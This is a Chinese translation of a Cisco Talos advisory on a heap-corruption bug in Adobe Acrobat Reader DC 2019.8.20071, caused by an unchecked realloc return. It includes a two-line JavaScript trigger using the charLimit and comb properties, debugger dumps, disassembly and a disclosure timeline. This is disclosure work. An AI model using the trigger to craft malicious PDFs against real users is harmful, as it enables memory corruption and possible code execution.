概述

在Adobe Acrobat Reader DC 2019.8.20071版本中打开PDF文档时,嵌入在PDF文件中的特定JavaScript代码可能会导致堆损坏。攻击者如果对内存进行仔细的操作,可能会导致任意代码执行。为了触发此漏洞,受害者需要打开恶意文件或访问恶意网页。

测试版本

Adobe Acrobat Reader DC 2019.8.20071

产品URL

https://get.adobe.com/reader/

CVSSv3评分

8.8 – CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE252:未经检查的返回值

漏洞详情

Adobe Acrobat Reader是当今市场上最受欢迎且功能最为丰富的PDF阅读器。Adobe Acrobat Reader具有庞大的用户群体,通常是系统上默认的PDF阅读器。该软件还支持集成到Web浏览器中,作为渲染PDF的一个插件。因此,攻击者只需欺骗用户访问恶意网页,或发出特制的电子邮件附件,就足以触发此漏洞。

Adobe Acrobat Reader DC支持PDF中的嵌入式JavaScript代码,以允许交互式PDF表单。这使得潜在的攻击者能够精确控制内存布局,并获得额外的攻击面。

在执行以下代码时,可能会发生任意内存越界访问:

app.activeDocs[0].getField('txt1')['charLimit'] = 0xed000;
app.activeDocs[0].getField('txt1')['comb'] = {};

在处理PDF中的文本字段时,如果comb属性设置为true,渲染的文本字段将会被拆分为不同的框(Box),文本字段中的每个字符都将放在它们对应的框之中。框的数量由charLimit属性控制。因此,我们将charLimit属性设置为一个较大的值,最终可以导致越界内存访问(Out-of-bounds Memory Access)。具体来说,越界访问发生在以下代码中:

Breakpoint 5 hit
eax=540f0ba0 ebx=0c229a98 ecx=001400d4 edx=00007532 esi=410d8ff0 edi=410d8fe0
eip=6b5c53eb esp=00cfe768 ebp=00cfe7f4 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
AcroRd32!CTJPEGWriter::CTJPEGWriter+0x150d6f:
6b5c53eb f30f110488      movss   dword ptr [eax+ecx*4],xmm0 ds:002b:545f0ef0=c0c0c0c0       [0]
1:009> u
AcroRd32!CTJPEGWriter::CTJPEGWriter+0x150d6f:
6b5c53eb f30f110488      movss   dword ptr [eax+ecx*4],xmm0    
6b5c53f0 ff83e4010000    inc     dword ptr [ebx+1E4h]                                       [1]
6b5c53f6 8b4708          mov     eax,dword ptr [edi+8]
6b5c53f9 8945f4          mov     dword ptr [ebp-0Ch],eax
6b5c53fc 8b470c          mov     eax,dword ptr [edi+0Ch]
6b5c53ff 8945f8          mov     dword ptr [ebp-8],eax
6b5c5402 8d45f4          lea     eax,[ebp-0Ch]
6b5c5405 50              push    eax
1:009> dd eax
540f0ba0  3aded289 418c0e56 3aded289 3f000000
540f0bb0  3b5ed289 418c0e56 3b5ed289 3f000000
540f0bc0  3ba71de7 418c0e56 3ba71de7 3f000000
540f0bd0  3bded289 418c0e56 3bded289 3f000000
540f0be0  3c0b4396 418c0e56 3c0b4396 3f000000
540f0bf0  3c28c155 418c0e56 3c28c155 3f000000
540f0c00  3c449ba6 418c0e56 3c449ba6 3f000000
540f0c10  3c6075f7 418c0e56 3c6075f7 3f000000
1:009> !heap -p -a eax                                                                                  [2]
    address 540f0ba0 found in
    _DPH_HEAP_ROOT @ e71000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                43870b94:         540f0ba0           500460 -         540f0000           502000
    6d67abb0 verifier!VerifierDisableFaultInjectionExclusionRange+0x000034c0
    6d67b07e verifier!VerifierDisableFaultInjectionExclusionRange+0x0000398e
    772c34bc ntdll!RtlpNtSetValueKey+0x000041cc
    7726e01a ntdll!RtlCaptureStackContext+0x0000f16a
    77221453 ntdll!RtlReAllocateHeap+0x00000043
    74bc1320 ucrtbase!realloc_base+0x00000030
    6b5c579a AcroRd32!CTJPEGWriter::CTJPEGWriter+0x0015111e                                             [3]
    6b5b0328 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x0013bcac
    6b5d9881 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00165205
    6b5d9238 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00164bbc
    6b5d90b3 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00164a37
    6b5d8ce3 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00164667
    6b5d89d7 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x0016435b
    6b5d75ae AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00162f32
    6b5d704a AcroRd32!CTJPEGWriter::CTJPEGWriter+0x001629ce
    6b60e0db AcroRd32!CTJPEGDecoderRelease+0x0002436b
    6b5d6cc3 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00162647
    6b5d63db AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00161d5f
    6b6e78fc AcroRd32!CTJPEGDecoderRelease+0x000fdb8c
    6b6e69e3 AcroRd32!CTJPEGDecoderRelease+0x000fcc73
    6b4714d9 AcroRd32!DllCanUnloadNow+0x0001fcaf
    6b470fa5 AcroRd32!DllCanUnloadNow+0x0001f77b
    6b470d56 AcroRd32!DllCanUnloadNow+0x0001f52c
    6b411267 AcroRd32!AcroWinMainSandbox+0x000077f1
    7554be6b USER32!AddClipboardFormatListener+0x0000049b
    7554833a USER32!DispatchMessageW+0x0000097a
    75547bee USER32!DispatchMessageW+0x0000022e
    755479d0 USER32!DispatchMessageW+0x00000010
    6b46ffca AcroRd32!DllCanUnloadNow+0x0001e7a0
    6b46fd92 AcroRd32!DllCanUnloadNow+0x0001e568
    6b40a359 AcroRd32!AcroWinMainSandbox+0x000008e3
       6b409c2d AcroRd32!AcroWinMainSandbox+0x000001b7

当断点在[0]位置被触发时,我们可以看到,我们正在写入由ecx索引的eax指向的缓冲区,然后在[2]的位置,我们看到缓冲区的分配位置以及它的大小是足够大的。在[1]的位置,我们也看到最终在ecx中的索引有所增加。

该代码循环多次,会受到前面设置的charLimit属性限制。最终,索引将会持续增加,从而使得缓冲区的大小小于实际需要的空间,这时将会采用不同的路径,这将会导致调用realloc,也就是我们在[3]中看到的相同位置。具体代码如下:

.text:601E577F lea     eax, [ecx+1388h]    
.text:601E5785 mov     [ebx+1D8h], eax
.text:601E578B shl     eax, 3
.text:601E578E push    eax
.text:601E578F push    dword ptr [ebx+1DCh]
.text:601E5795 call    indirect_realloc
.text:601E579A mov     [ebx+1DCh], eax              [4]

在[4]的位置,realloc返回的指针将保存在ebx+1dc中,这是指向[0]中使用的缓冲区的指针。请注意,在这里并没有检查此realloc调用的返回值。由于这一调用增加了缓冲区的大小(最终由charLimit值控制),因此对malloc的调用可能会失败。未经检查的NULL值将被写入到缓冲区指针,代码循环到[0]。通常情况下,这只会导致NULL指针取消引用,但由于ecx中的索引越来越大,并且可能会达到4倍,所以我们可以控制NULL取消引用的偏移量,从而导致任意写入问题。实际上,如果我们移除断点,则会到只有以下崩溃:

(21d4.157c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0c229a98 ecx=003ae9fc edx=00007532 esi=410d8ff0 edi=410d8fe0
eip=6b5c53eb esp=00cfe768 ebp=00cfe7f4 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
AcroRd32!CTJPEGWriter::CTJPEGWriter+0x150d6f:
6b5c53eb f30f110488      movss   dword ptr [eax+ecx*4],xmm0 ds:002b:00eba7f0=????????
1:009> dd ecx*4
00eba7f0  ???????? ???????? ???????? ????????
00eba800  ???????? ???????? ???????? ????????
00eba810  ???????? ???????? ???????? ????????
00eba820  ???????? ???????? ???????? ????????
00eba830  ???????? ???????? ???????? ????????
00eba840  ???????? ???????? ???????? ????????
00eba850  ???????? ???????? ???????? ????????
00eba860  ???????? ???????? ???????? ????????

请注意,在上面的调试输出中,eax为NULL,但ecx足够大,可以到达用户区的内存。启用页面堆的概念证明展示了这一崩溃的发生。通过进一步的存储器控制,可以更精确地选择重新分配失败的缓冲区大小,从而可以控制写入。这可能会导致进一步的内存损坏和任意代码执行。

时间线

· 2018年11月20日 向厂商披露

· 2019年2月12日 公开发布

贡献

本漏洞由Cisco Talos的Aleksandar Nikolic发现。

本文翻译自:https://www.talosintelligence.com/reports/TALOS-2018-0714如若转载,请注明原文地址: http://www.4hou.com/vulnerable/16216.html
源链接

Hacking more

...